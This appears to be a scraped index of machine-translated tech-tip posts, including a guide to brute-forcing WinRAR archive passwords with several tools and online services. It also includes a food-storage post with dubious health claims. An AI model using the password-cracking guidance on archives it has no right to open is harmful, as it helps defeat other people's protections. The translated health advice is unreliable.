success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKyolaG5pLTEnKKippdiwLGxy6Wgp59dmLyzvsScq6Knnqh6qrqMr6CerJ6Wuqa%2FxGamp2WTnb%2BwucQ%3D\n","link":"/post/how-to-turn-off-spell-checking-spelling-corrections-in-vietnamese-on-chrome/","section":"post","tags":null,"title":"How to turn off spell-checking spelling corrections in Vietnamese on Chrome"},{"body":"If you have to write a lot of papers and books every day. In order to increase performance as well as save time, in addition to the skills of typing 10 fingers, you need to combine some small tricks too.\nPlease tell us that Unikey has a built-in shortcut feature, which allows you to edit text quickly and accurately, avoiding many typos during typing. Please refer to the article below of TipsMake.com offline.\nDownload Unikey for Windows Step 1 : Open Unikey, click on Extension\n  Check the Allow Shortcuts box in the Shortcut Options section. Then press the Close button to save the changes.\n  Step 2 : Right-click on the V icon, select Compose the shortcut panel .\n  Then the Macro Definition dialog box appears, allowing you to assign acronyms, enter the keywords you need to assign to the Replace box, and the words to be typed in the By box.\n  Enter finished press Save to start performing shortcut typing\n  Step 3 : To edit a saved word, go back to the Macro Definition dialog box, in the By box, type the new keyword, then click Edit . Delete, you do the same and then click the Delete button.\n    Note: The Replace box contains only unsigned letters and numbers;are case sensitive You should create shortcuts for common words such as construction (xd), techniques (kt) . Holding the Shift key before typing Space (the spacebar) so that the word shortcut does not work.For example, type \"QTM\" and hold down the Shift key, then type space, the \"QTM\" will remain the same, not replaced by \"quantrimang.com\". Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqqGnoqmwtsCMn6ynm6SevK95yKdkrqaZoLK6\n","link":"/post/how-to-use-the-shortcut-function-in-unikey/","section":"post","tags":null,"title":"How to use the shortcut function in Unikey?"},{"body":"The default font size on the website is too small or too big, you want to adjust to get the font size that suits your eyes to help you study and work better? So you refer to the way to zoom in, zoom out, see full screen mode on the website below.\n  Here is a way to zoom in and out of everything on the current website you are visiting, you can refer to for more useful information.\nHow large rooms and text on the web To enlarge images and text on the web, press Ctrl + '+' (hold Ctrl and the plus sign on the keyboard).\n  Or press and hold Ctrl + mouse cursor up .\n  How to shrink images and text on the web To shrink images and text on the web, press Ctrl + '-' (hold Ctrl + minus sign on the keyboard).\n  Or press and hold Ctrl + scroll the mouse cursor down.\n  Set to default size If you do not want to zoom in or out, then you press Ctrl + 0 to return to the default web size.\n  How to zoom in full screen To see the full screen mode you press the F11 key , turn off the full screen mode you also press the movie F11 .\n  The above are ways to zoom in and out as well as view full screen mode on the website using any browser. Hope the article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZrKfpLputc1mmKecXaTCtXnOn2SipZGcsrR5wKebZqyVrcFuu81mq6GdXayyo3nEp6OaqpeaerW0xGaqnKqVmrs%3D\n","link":"/post/how-to-zoom-in-and-out-of-images-and-text-on-the-web/","section":"post","tags":null,"title":"How to zoom in and out of images and text on the web"},{"body":"When editing and compositing, one of the most frequently used stages is to delete the background to separate the subject from the background behind. However, if you are not a Photoshop expert, this process will really take a lot of your time.\nBut with this online and completely free tool, users can perform a simple and quick removal of the wallpaper with the help of AI.\n  Specifically, users only need to access the Remove.bg website and upload the image from the computer or paste the image URL. AI will identify the subject in the picture and delete the background.\n  Your job is to just wait for the AI ​​to finish working and download the deleted wallpaper to your computer in PNG format. If the subject of the image is not clear on the background, it may be missing some details after deleting the font. For example, in the picture below, Elon Musk's left eye is gone.\n  However, in most other cases, Remove.bg can meet the needs of users to remove the background.\nThis is also one of the examples of superior artificial intelligence technology that can turn into simple applications around us. There are currently many open source AI algorithms that can be used to perform background deletion. Remove.bg simply turns them into a useful and free online tool.\n  This free, online background eraser is an example to show that artificial intelligence technology can be used in many simple applications that help people.\nIn addition to Remove.bg, AI is also used in many other interesting tools like:\nDeepart.io: Use AI to turn a photo into an artistic picture. LetsEnhance.io: AI is used to make the image clearer and higher resolution. See more:\nTesting the latest AI of Google allows to control the whole orchestra right on Chrome, invite experience This is the first advertising in the world written entirely by artificial intelligence Microsoft artificial intelligence application can admire the poetic landscape, invite you to enjoy ncG1vNJzZmismaXArq3KnmWcp51kv6a5zq%2Bcm59dlnqnvsSeZKimnJ67pnnTqKalZaWosrR5wKJkraddmbKtsdOeZLCZnKG9orzEq6pmqKKks6a%2F0qKmp5mcocZurc2dZJ6Zo565ug%3D%3D\n","link":"/post/remove-bg-a-free-online-tool-uses-ai-to-delete-wallpapers-professionally-and-easily/","section":"post","tags":null,"title":"Remove.bg, a free online tool, uses AI to delete wallpapers, professionally and easily"},{"body":"In the previous article, we sent you the software to sing Karaoke on your computer. Today, we will share with you a small application called AV Video Karaoke Maker , to create Karaoke songs when your computer is not available and you don't want to sing online. Let's refer to offline.\nStep 1 : After downloading, select English language and click OK .\n  Step 2 : At the introduction interface, click Next to move to the next step\n  Step 3 : Click Next\n  Step 4 : Agree to the terms of the software and click Next\n  Step 5 : You choose the path for the installation file\n  Step 6 : Click Install to install\n  Step 7 : Installation process takes place\n  Step 8 : Click Finish to finish\n  Step 9 : At the main interface of the application, click New Project to select the song\n  Step 10 : Next, click Add Lyric to insert the lyrics\n  Step 11 : Next, press Play to play the music, then press F5 to sync music and lyrics. When the song is singing to which part of the lyrics you just click on Set until the song is over, click Finish to finish.\n  Step 12 : To listen again, click Preview\n  Step 13 : To export the file, click Export, there will be 2 formats for you, AVI and WMV\n  Step 14 : Open the finished file to enjoy the result\n  4 easy steps to extract music and audio from YouTube videos 4 steps to convert MP3 file into iPhone ringtone online How to create subtitles for videos? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKq5z6WcZq%2BRrnq1u4ycqZ6ZpJp6rK3RmqaknV2ovK%2Bz0g%3D%3D\n","link":"/post/simple-way-to-create-karaoke-songs/","section":"post","tags":null,"title":"Simple way to create Karaoke songs"},{"body":"Windows Insider Program is a program that Microsoft created so that users can participate in testing and evaluating Windows versions before officially launching. Users will help Microsoft find errors, evaluate performance, and then report to Microsoft to make timely adjustments.\nWhen launching Windows 11, Microsoft also allowed users to test it first through the Windows Insider Program. It is expected that the first beta version of Windows 11 will be released to users participating in the Windows Insider Program in July or August.\nIf you want to experience Windows 11 before you can install the leak or join the Windows Insider Program. The advantage of the Windows Insider Program is that you can install Windows 11 even if it doesn't meet Microsoft's minimum configuration requirements. This is confirmed by Microsoft itself.\nIn this article, TipsMake will show you how to join the Windows Insider Program to experience Windows 11.\nStep 1 : You need a Microsoft account. If you don't have one, you can refer to how to create a Microsoft account\nStep 2 : On Windows 10 computer, press Windows + I to open Settings\nStep 3 : In the Settings window, select Update \u0026amp; Security\n  \nStep 4: You search and click on Windows Insider Program in the right sidebar\nStep 5 : Click Get started\n  \nStep 6 : Wait for the screen to finish loading, click Link an account\n  \nStep 7 : Here, you select the account that you have already signed in to or log in to the Microsoft account you just created by clicking on Microsoft account . Another option is that you can use a Microsoft account issued by your work, organization, school. by clicking Work or school account . After selecting, click Continue\n  \nStep 8 : Log in your account, if you choose a pre-login account, you don't need to do this step bước\nStep 9 : The screen will appear 3 options for you. After selecting, click Confirm to confirm. Details of the options are as follows:\nDev Channel : This is the ideal choice for tech-savvy users. This selection also gives you the latest and earliest Windows 11 builds. However, its limitation is that you may encounter many problems related to performance, low stability. Beta Channel : This is an option that Microsoft encourages Windows Insider Program users to join. Although slower than Dev Channel, Beta Channel's Windows 11 builds are more reliable and stable. Beta Channel user contributions also have a greater influence on the process of developing and perfecting Windows 11. Release Preview Channel : This is ideal for those who want to preview patches and some important features with the option to access the next update of Windows 10 right before it is released to users. Global. This is the recommended option for the average consumer.   Step 10 : A new screen will appear to remind you that joining the Windows Insider Program means that you are giving Microsoft permission to collect information about your Windows experience from your computer. Besides, Microsoft once again reminds that using the beta will cause you to encounter more errors than usual. You press Confirm to confirm or Cancel to \"turn the car\" if not ready\n  Step 11 : You click Restart Now to restart the computer and immediately apply the changes you just made or select Restart Later\nGood luck!\nwindows insider program windows 11 ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7KotdKtnKtllqS%2FbsPIp5uor6Nitq%2B%2FyJ2cq2Wgp7yovsCmZK2nXZrFsbHRopynm5VixKq6w6iurGVhZnqmrdGlsA%3D%3D\n","link":"/post/steps-to-register-for-windows-insider-program-to-experience-windows-11-early/","section":"post","tags":null,"title":"Steps to register for Windows Insider Program to experience Windows 11 early"},{"body":"More and more electronic wallets appear in Vietnam, and in order to compete, e-wallets are competing for free, or there are many promotions and discounts available to users.\nSo far, the most popular and used electronic wallets are MOMO, ViettelPay, ZaloPay and AirPay.\nThrough a survey of service fees of 4 electronic wallet providers Momo, ViettelPay, ZaloPay, AirPay. All have similarities when they are not charged monthly or have any recurring fees.\nSome other user fees such as account opening, account management, account security, account statement query, support fees, annual fee . are all exempted from use.\nHowever, some services, such as deposit, withdrawal or money transfer, have been charged and the fees vary considerably. Here are some information about service fees of 4 Vietnamese self-made wallet with the most users in the present.\nHow to create and use Bitcoin Wallet, Ethereum Wallet on Blockchain 5 simple ways to recharge your wallet Momo How to login by fingerprint on ViettelPay The lowest-cost electronic wallets in Vietnam Currently, ZaloPay and AirPay are free of all deposit and withdrawal transactions. However, you will only be able to do so at the bank accounts linked to the application.\nMeanwhile Momo not only applies free recharge from linked accounts but also at the point of deposit and withdrawal of the wallet. If you deposit money from banks that have not linked with Momo e-wallet, there will be a fee of VND 1,800 + 1.12% of the transaction value of each deposit.\nAs for transactions of withdrawing money from linked bank accounts, it is only free of charge 3 times / month. In addition, withdrawing money in other forms will be subject to a fee, the higher the transfer amount, the higher the fee.\n  ViettelPay's fee schedule is divided according to the value of the deposit. Recharge from MB and BaoVietBank ATM cards is completely free. For other bank accounts you will be free when depositing at less than 50 million / month.\nWhen you deposit more than 50 million, you will be charged a 0.55% of the transaction value. ViettelPay currently only allows users to withdraw cash at transaction points, free of charge with a rate of less than 50 million / month. Over 50 million VND per month will be charged at 0.4% minimum VND 9,000 / transaction.\n  ViettelPay's money transfer service has the advantage of a large network throughout the provinces to allow cash transfers at counters and receive cash in the locality for a fee of VND 9,000 - 35,000 (with additional fee if receiving money at the place) .\nMomo\nZalo Pay\nViettel Pay\nAirPay\nRecharge Bank account linked Free Free From BaoVietBank card and ATM MB free of charge Free domestic debit card other VND 1,800 + 1,12% of transaction value Less than 50 million a month: Free\nOver 50 million a month: 0.55% of transaction value\nInternational card 2200 VND + 1.5% of transaction value Free of charge Wallet transaction points are not applied Recharge me:\n\u0026gt; 50 million / month: 0.4% of the amount\nDeposit money to others: 0.4% of the amount\nOther Deposit from the source BankPlus collected according to the fee transfer fee of the corresponding bank Withdrawal of the linked Bank Account Free for the first 3 times / month.\nFrom the 4th: Draw\nFrom 1-2 million: 5,000 VND\n\u0026gt; 2 million: 0.3% of the withdrawn amount\nFree of charge Other banks 3,300 + 0.5% of the withdrawn amount The deposit / withdrawal points of VND 8,000 - 35,000 \u0026gt; 50 million months: 0.4% of the value (minimum VND 9,000)\nTransfer money Transfer to wallet, bank account Free Free Other Cash transfer at the counter: 9,000 - 35,000 VND You can see the fee schedule of Momo and ViettelPay is quite detailed and more diverse in terms of fee collection. Meanwhile in ZaloPay and Airpay, these services are not yet charged a fee.\nAnd now, when Momo and ViettelPay have hundreds, thousands of transaction points, ZaloPay and Airpay have not been implemented yet.\nBased on the above information, hope you will choose an e-wallet that is suitable for you to use in the most convenient way.\nncG1vNJzZmismaXArq3KnmWcp51kgW6xy56araqfo7akedaao6WdpGLEqsDHZquhnV2hvLix0q1knKCRp7SmecinZK%2Bhlam7ork%3D\n","link":"/post/4-electronic-wallet-with-the-lowest-charge-in-vietnam/","section":"post","tags":null,"title":"4 electronic wallet with the lowest charge in Vietnam"},{"body":"Among the food groups we eat every day, there are many foods that we can store overnight outside the room temperature and still ensure nutrition. In contrast, there are foods that have been preserved in the kidneys in the refrigerator and can produce toxins.\nTo know which food groups are dangerous when storing overnight, please refer to the article below!\n1. Types of seafood   The dishes made from seafood are the favorite dishes of many people. Seafood provides the body with many essential nutrients. However, when this dish is processed and left for too long, it will not only lose the natural delicious taste of seafood but also affect the liver and kidneys affecting health.\nFor shrimps, crabs, fish if left overnight, the protein in them is easy to convert into toxins that are harmful to the body.\n2. Some salads and salads   For salads and salads we don't need to use the temperature to ripen, which makes bacteria and parasites easy to grow.\nEspecially, if you leave this dish overnight, even if you put it in the refrigerator, the bacteria will grow constantly. These bacteria when entering the body will cause some intestinal diseases.\nSo, with salad dishes you should only do enough to eat, when you do not use up, you should dump it, but unfortunately, leaving it to use will affect health.\n3. Peach heart eggs   Peach hearted eggs are a favorite dish for bearded eyebrows, because they always think that the egg of the peach heart still retains many nutrients as well as the benefits of this food.\nIn fact, peach eggs contain a lot of harmful bacteria, moreover, scientists have pointed out that peach eggs and ripe eggs have nearly the same level of nutrition.\nWhen the eggs are not yet ripe, overnight will be a favorable condition for the bacteria to grow and harm the stomach, making you feel indigestion, bloating .\nHowever, if the boiled egg is carefully stored in the refrigerator, you can still use it the next morning.\n4. Cooked vegetables   Green vegetables are a good source of vitamins and fiber for the body. When vegetables are cooked, they have reduced a significant amount of vitamins, if you leave them overnight and heat them again the next morning, nutritious vitamins will completely disappear.\nIn addition, the content of nitrate salt in vegetables is relatively high, in the process of preserving the bacteria will be converted into nitrite salts harmful to the body.\nAt room temperature, vegetables such as cauliflower, spinach, beans, green peppers, and cabbage when left overnight will produce a lot of nitrite salts, especially in spinach.\nVegetables such as tomatoes, shallots, eggplant, celery, carrots, lettuce, zucchini, will produce less nitrite salts, but it is best not to keep them for long.\n5. Preparations from beans   Tofu as well as products made from beans often have relatively high water content, protein and other nutrients in rich tofu, which is a rich source of nourishment for microorganisms.\nTofu when left too long in the environment will easily produce many dangerous pathogens, among them bacteria Clostridium botulium. This bacterium has toxins that are many times stronger than toxic cyanide poison.\nThis toxin, if the temperature is over 100 degrees Celsius after a few minutes, the toxin will be destroyed, but if it is not heated at such a temperature it will become extremely dangerous. Therefore, the best bean products do not stay until the second meal.\n6. The soup   The soup is indispensable in the tray of any family. To keep the soup safe for the next day, when cooking is finished, you should use a clean spoon to scoop up the soup to preserve a glass box, then store in the refrigerator compartment. Note that aluminum, steel should not be used to preserve food because it is easy to produce a non-healthy chemical reaction. In addition, different types of foods should be stored in separate boxes to prevent bacteria from infecting each other.\nLeftover food should only be stored for a period of 5-6 hours, if left too long will produce toxins, even if we can cook again, these toxins will not be lost.\nncG1vNJzZmismaXArq3KnmWcp51ks7C7w2auoqScYq%2Bmr86mnGasn622pHnIn2Syp6ViwLW70Z5koqxdqbWmedarpqefXayuug%3D%3D\n","link":"/post/food-will-become-toxic-if-you-store-it-the-wrong-way/","section":"post","tags":null,"title":"Food will become toxic if you store it the wrong way"},{"body":"Winrar is one of the utility software good support for users to compress files and manage files effectively. Winrar also has many security related features, such as setting a password for the compressed file for security. But sometimes setting a password is also troublesome for us if we forget the password. In this article, Software Tips will guide you How to break Password Winrar - Find the password of compressed Winrar file quickly and effectively.\n ;\n1. Use iSunshare RAR Password Genius software. Link Download: https://www.isunshare.com/rar-password-genius/\nStep 1: You proceed to download the software to your computer and install to use. This is a paid software but the manufacturer has provided a free version for you to try.\n  Step 2: You proceed to launch the software to use. First you select Open to proceed to open the Winrar file I need to unlock.\n  Step 3: You choose the Winrar file to find the password on your computer.\n  Step 4: Install the software on:\nRange:\nAll caps latin (AZ): All uppercase Latin characters All small latin (az): All Latin lowercase letters All digits (0-9): Numbers from 0 to 9 All  Special symbols: The special characters Space: Spaces Depending on your password, select the parameters. If you do not remember anything, you can tick all to make sure.\n  Then you click Start to start the software to run. After a while running (Depending on the password level) the software will display the password for you. You can enter this Password into Winrar to unlock your file.\n  With the RAR Password Genius software, you can recover the passwords of any Winrar document. The speed of the software is also very fast and especially easy to use even if you do not know much about computer equipment or software.\n2. Use the WinRAR Password Cracker software Link Download: http://www.rarpasswordcracker.com/#download\nYou proceed to download the software to your computer to install and use like other software. You proceed to launch the software to use.\nStep 1: Click Open File to select the Winrar file you want to find the password.\n  Step 2: After adding the Winrar file into the software, click Start to start searching for the password.\n  Step 3: The software will start searching for Winrar's password again. Search speed depends heavily on the length and complexity of the password. 80% of passwords are searched correctly.\n  3. Using Online Lost My Pass software Link Home Page: https://www.lostmypass.com/file-types/rar/\nStep 1: You proceed to the home page of the software and click on Drop file to upload . Then you proceed to select File Winrar that you need to find the password.\n  Step 2: Because it is an Online software, it only supports a maximum of 100MB Winrar file and the upload speed on the system is also relatively fast.\n  Step 3: This is a fully automated Online software. After the data is uploaded on the system, the software automatically runs to find the password for you. As manufacturers committed to finding passwords up to 3 minutes. This is an extremely impressive figure.\n  After that, you will receive a notification that the password has been searched and displays your Password. You enter this password to open the Winrar file.\n  4. Use the Online RAR Password Recovery software Homepage link: https://www.password-online.com/RAR_Password_Recovery_Online.php\nThis is a famous Winrar password search website in the world from Russian programmers.\nStep 1: You proceed to the Web site and select Upload your encrypted file . Then you proceed to select the Winrar file that you want to unlock on your computer.\n  Step 2: The software will automatically upload the Winrar file onto the system to process the data. With this Web site, you can use Winrar files up to 500MB.\n  Step 3: After uploading, the software requires you to enter your email address to receive the results. You proceed to enter Email and click Send .\n  Step 4: You proceed to access your Gmail to see results and processing. If in the mailbox you do not see the Mail of Password Online, then you search in the Spam section (spam) . Then you click on Link to get results.\n  Step 5: Here you will track the process of finding Winrar password on Password Online. The speed of searching for a password depends heavily on the difficulty of the Winrar password, you can wait for a while to get the password search results.\n  Thus, the Software Tips have instructed you on How to break Password Winrar - Find password Winrar compressed file quickly and effectively . Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuilrCsedaipauZomK9or%2FSsKarnF2btq%2BwjK2fnmWnnruzrdFmmqiloKeytL%2FEnWSfoZyaerGt0qyuqKqUYr62tcKko7JlkaOxbrHFn5ycrJmrsq3F\n","link":"/post/how-to-crack-winrar-password/","section":"post","tags":null,"title":"How to crack Winrar Password"},{"body":" This article explains how to create simple application that is shown in the figure on the right, giving its source code as well. To place buttons, text labels and other components on the program window, you need to understand about JPanel....\nMethod 1of 2:\nMaking the Overall Frame  Create a class that extends the JFrame class. This class will hold all of your GUI components, such as buttons and text fields.\n  Plan the overall layout of your first application. A good start could be a central panel with BorderLayout with another panel at the bottom (BorderLayout.South). This second panel may have the FlowLayout and contain several buttons, check boxes and other similar controls. Finally, place the big JTextArea into the center of the central component. You will be able to use its getText() and setText() methods to do some text-based interaction with the user.\n  Write constructor to your class. This constructor must create all panels and components you plan, place them properly into each other and add the final panel the \"holds all\" to you frame (myFrame.getContentPane().add(myLargePanel, BorderLayout.Center).\n  Write the main method which will be the program's entry point. In this method, create an instance of your frame, set the initial size and location (use .setSize(x,y) and .setLocation(width, height) ) and make it to appear on the screen by calling .setVisible(true).\n Method 2of 2:\nProgramming responses to the user actions  Make your frame implement the ActionListener interface. This will allow your class to listen to components' activities.\n  For every button, check box or other control that you have created, invoke its method .addActionListener, passing your frame (this) as parameter.\n  Override ActionListener's abstract method, actionPerformed(ActionEvent event). In this method, you should put if statements checking where does the action event come from. This if statement should have a condition that says something like \"if (event.getSource() == button1)\". This checks where the event came from and if it came from your button. Inside the if statement, do whatever needs to be done when your button is pressed.\n  JTextArea has a method .setText(\"myText\") which seems good as the way to program some visible response on your action.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKyvmaO0brPUomSipl2frret\n","link":"/post/how-to-create-a-swing-gui-in-java/","section":"post","tags":null,"title":"How to Create a Swing GUI in Java"},{"body":"Snappea is a completely free online website, Snappea allows you to download any video from YouTube, Facebook, Instagram and 50+ other social networks. You won't need to install the app on your device, just copy / paste and download!\n  Please see the detailed steps below to download video from youtube with Snappea web downloader.\nInstructions to download videos from youtube by Snappea Step 1. Copy Url video from youtube :\nVisit youtube with your device's browser, then open the video you want to download. Select the url address on the address bar of the browser and then right-click, select copy (or press Ctrl + C on the keyboard to copy quickly).\nStep 2. Go to snappea.com :\u0026nbsp;\nVisit\u0026nbsp; snappea.com using the web browser on your device. Then point to the search box, right-click and select paste the youtube video url you copied in step 1 (or press Ctrl + V on the keyboard).\n  Next you press Enter or click on the search icon.\nStep 3. Download the video :\nSelect the quality and video format you want to download.\n  Finally, click DOWNLOAD button to start downloading video\n  Snappea also allows you to search directly for videos, you just need to type in the keywords you want to find in the search box. The system will return the resulting videos and you can download very quickly and conveniently.\n  After finding the video, click download and then repeat steps 2 and steps\u0026nbsp; 3 to finish searching and downloading the video.\nEvaluate the service quality of Snappea.com com is an online downloader (web downloader). Snappea Support searching YouTube video in the site. Snappea Support downloading from YouTube. You can download YouTube video you like without downloading any apps and it could be used on any devices in the browser. Upcoming future next month: Download as MP3; Support download from more sites than YouTube. The above article I showed you how to download videos from youtube with online tools from Snappea. If you want to download videos from Facebook, Instagram and 50+ other social networks please do the same, you can see full \u0026nbsp;tutorials here\nGood luck\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK%2BhlJq8rsHSoppmr5mptW6%2FzZqnqZ2R\n","link":"/post/how-to-download-video-music-with-snappea/","section":"post","tags":null,"title":"How to download video/music with Snappea"},{"body":"In recent years, Android smartphones have supported Hi-Res audio (high definition) but there is no indication that Apple plans to do this even though the iPhone is a voice quality device. Best bar. So how to listen to Hi-Res music on iPhone or iPad?\nHow to adjust Equalizer on iPhone and iPad How to add music sound effects on iPhone How to play music from iPhone / iPad to many speakers using Airplay 2 What is Hi-Res sound? There is no exact standard for Hi-Res audio, so this term basically refers to higher quality audio than CD. It is not lossy compression like MP3 files.\nHi-Res audio has many formats like Apple Lossless (also known as ALAC), FLAC, MQA, DSD and many other formats. Here we only focus on ALAC and FLAC formats.\nHow to convert FLAC file to ALAC What is needed to play Hi-Res sound on iPhone or iPad? You can play some Hi-Res audio on iPhone or iPad like running ALAC file in Music app but only good 24 bit / 96kHz. High-resolution audio usually has a bit rate of up to 24 bits / 192kHz. You will not be able to play audio at this speed on iOS devices by default.\nAlthough some iOS versions support FLAC, Apple Music applications cannot run FLAC files. There are a few reasons iOS devices can only play audio at 24 bit / 96kHz. First, this is the highest bit rate EarPods comes with iPhone support. Second, iTunes does not allow you to transfer files with higher bit rates to iPhone.\n  We will solve this problem by using the support device to be able to play Hi-Res audio on iPhone.\nThe problem with newer iPhones and iPads is that they don't have a headphone jack. Therefore bluetooth headphones are an alternative but you will not be able to feel all Hi-Res audio via Bluetooth connection.\nYou can overcome the lack of this headphone jack using Apple's Lightning to 3.5mm adapter (209 thousand VND). This adapter is now not only \"exclusive\" on the iPhone, you can use it to plug in any headset if you want. And it is capable of playing audio up to 24 bits / 192kHz.\n  This is because the adapter has a Digital to Analog Converter (DAC) adapter, takes the digital signal from the phone and converts it into an analog signal for use by the headset. The DAC converter in Lightning to 3.5 mm adapter is a 24 bit model of Cirrus Logic, which supports audio with bit rates up to 192kHz.\nIf you have an expensive headset and want better sound quality, you might consider another DAC digital converter. There are many options available that work with iOS devices at different prices.\n  With a slightly higher price, you can use the FiiO i1 Portable DAC adapter (930 thousand VND). It provides the same quality as the Apple adapter but has additional inline and built-in mic controls.\n  If you want better quality, you can use AudioQuest Dragonfly Black (3 million VND), with a Lightning to USB adapter. AudioQuest Dragonfly Red (5.5 million VND) even offers better sound quality. It also comes with an adapter.\n  If you are looking for a top solution, audio enthusiasts will love Chord Mojo (11.1 million VND). However, its price is extremely expensive and you need your own adapter or cable to connect to the iPhone.\nThe main advantage of external DAC is the sound quality. They are not limited to use only on iPhone or iPad, you can also use it with most Android computers or devices.\nThe downside of this adapter is that it is more bulky than the Lightning to 3.5mm adapter, especially the Chord Mojo model. If you listen to music at home or work, there is no problem but it is inconvenient to move.\nHi-Res audio listening software To listen to Hi-Res music, you need the right application, refer to the article Hi-res Music applications on your phone and find yourself a favorite application.\nWhen listening to Hi-Res audio on macOS, you will not encounter the same limitations as on iPhone. iTunes does not encounter any problems when running ALAC 24 bit / 192kHz files. However, if you want to hear better sound, you can still use the DAC converter and headphones. If you don't use ALAC, you can also use applications other than iTunes to listen to music.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZutMirnKxlo6TCr7CMqKVmoaCdvK%2BxjKipZqGglrE%3D\n","link":"/post/how-to-play-hi-res-sound-on-iphone-or-ipad/","section":"post","tags":null,"title":"How to play Hi-Res sound on iPhone or iPad"},{"body":" This wikiHow teaches you how to reset the password or PIN you use to log into Windows. It's not possible to reset passwords for local accounts unless if you set up security questions or a password reset disk—if your account is not...\nMethod 1of 3:\nResetting a Microsoft Password if Unable to Sign In  Click on the \"I forgot my password\" button underneath the password field on the lock/sign-in screen. This option is only available if you have a Microsoft account. If you don't have a Microsoft account and don't remember the password for your local account, there's no way to recover the password. You'll have to restore the computer to its original settings instead.[1]\n  Complete the CAPTCHA. Enter the characters that you see on the screen then click Next. Alternatively, you can complete an audio CAPTCHA.\n  Decide how you want to reset your Microsoft account password. You can reset it using a code from an SMS message, an email, or Microsoft Authenticator, or, if you lost all of these, you can reset using your security questions. If you choose SMS or email, you will have to complete the phone number or email address.   Enter the code or answer the security questions. If you got an email, you can click on the recovery link to reset your Microsoft account or enter the code. If you got an SMS message or are using Microsoft Authenticator, then you can enter the code that was sent to you or that is displayed in Microsoft Authenticator. If you answer your security questions, then do your best. It may take up to thirty days to recover your lost account. Click on Next. The security questions will not work if you have two-factor authentication on (i.e. you are using the Microsoft Authenticator app to sign in).   Enter your new password. If successful, you will be able to choose a new password. Enter your password into the password field, then confirm your password, then click Next.\n  Sign into your Microsoft account using your new password. You have successfully reset your password. Now, make sure you remember it and that you write it and store it in a very safe place.\n Method 2of 3:\nResetting a Local Account Password Through Security Questions (Windows 10 version 1803) Take a guess at your password. For all you may know, you may remember your Windows password. If you don't, don't worry.\n Choose \"Reset Password\". This will open an option to reset your Windows password.\n Answer your security questions. You set these up when you first created your local account or in \"Sign-in options\". These security questions can only be used to unlock your local account, and your local account is not accessible via other computers.\n Enter a new password. Choose a new password to keep your computer safe. Once you do that, you can use your new password to reset your password.\n Using a Password Reset Disk (Windows 8/8.1) Insert the password reset disk you created. This is the USB drive that can be used to unlock your local account.\n Take a guess at your password. For all you may know, you may remember your Windows password. If you don't, don't worry.\n Choose \"Reset Password\". This will open an option to reset your Windows password.\n Choose Next.\n Choose the USB drive used to set up password reset.\n Choose Next.\n Enter a new password. Choose a new password to keep your computer safe. Once you do that, you can use your new password to reset your password.\n By Resetting your PC  Click   on the sign-in screen. If you use a local account instead of a Microsoft account to log into Windows, there's no way to recover the password.[2] This method walks you through resetting the computer. This method will delete your personal files and settings. Windows will be completely reinstalled. This situation is uncommon, as using a Microsoft account is suggested by default.   Hold the ⇧ Shift key as you click Restart. The computer will now reboot. When it comes back up, it will bring you to the Boot Options menu.\n  Click Troubleshoot.\n  Click Reset this PC. A confirmation message will appear.\n  Click Remove everything. Your PC will now reboot and begin the reinstallation process. During the reinstallation of Windows, you'll be asked if you want to select or create a Microsoft account. Using a Microsoft account ensures that you won't have to reinstall the computer if you forget your password.   Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLK1ecBmnaiql6TBtbHNZqeaq6OsvLOwjKilZq%2BZo7Gww9I%3D\n","link":"/post/how-to-reset-a-forgotten-password-on-windows/","section":"post","tags":null,"title":"How to Reset a Forgotten Password on Windows"},{"body":"Facebook is the largest social network today with support for sharing different data such as photos, videos, mood . But Facebook is just a social network, not a cloud storage utility. Will not support you to download videos directly to the computer. Want to download videos directly from Facebook, you must go through 3rd party intermediaries to download. Today, Software Tips will guide you how to save videos on Facebook to computers and laptops.\n  1. Use online software With this online software, you will be able to download almost all of your Facebook Videos and their quality will be the same.\nLink: https://www.fbdown.net/\nStep 1 : You access the link on the article to use.\nStep 2 : Copy the link / URL of the video you need to download into the box in the tool. Then click Download .\n  Step 3 : Then your video will be converted. Now you choose the quality you want to download:\nNormal Quality : Normal quality HD Quality : High quality   Step 4: After selecting, you right-click on the new window and select Save video as . or press Ctrl + S\n  2. Use the Coc Coc tool \u0026nbsp;Coc Coc is famous for its ability to download data quickly thanks to its built-in powerful toolkit. Coc Coc's powerful toolkit can download all kinds of videos no matter what website they are on.\nLink: https://coccoc.com/\n  3. Use IDM Download Link: https://www.internetdownloadmanager.com/download.html\nIDM Download is a tool to support Download speed and speed. In addition, IDM also has the ability to directly download videos from the Web.\nStep 1 : You open the website with the video to download on your computer, laptop. Then click Download this video on the right corner of the video\n  Step 2 : Then you click Start Download to download the video immediately.\n  4. Download the link online This is the lightest and simplest way to store videos, but every time you watch a video you need to use the network and it can be lost if the poster removes them.\nStep 1 : Right-click on Video and select Save link as .\n  Step 2 : Then you have the link of the video, each time you need to watch you just double click on the icon of the link to be able to watch.\n  Thus, Software Tips have shown you how to save videos on Facebook to computers and laptops. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7JuwsidnKirXaS7brLAnJybp5%2BgerW7jJympqilqbKzv4ylmKmsn6XA\n","link":"/post/how-to-save-videos-on-facebook-to-computers-laptops/","section":"post","tags":null,"title":"How to save videos on Facebook to computers, laptops"},{"body":"How to log out Messenger completely, exit Messenger on Android phones, iPhone, Windows Phone for anyone who doesn't know how to log out of Facebook Messenger account!\nFacebook Messenger is now a familiar app for anyone who uses Facebook on their phones, when you can contact your friends or call for free without having to log into Facebook. Users can sync your contacts quickly with Messenger. However, in the process of re-using quite few people know how to logout Facebook Messenger on the device.\nIn this article, Network Administrator will guide you step by step to log out Messenger account on mobile devices including iOS, Android, Windows Phone and log off remotely on your computer.Note, when you stop the session or delete the application data, the message is still intact, we only log out the account.\nYou can choose the device and quickly follow the corresponding list on 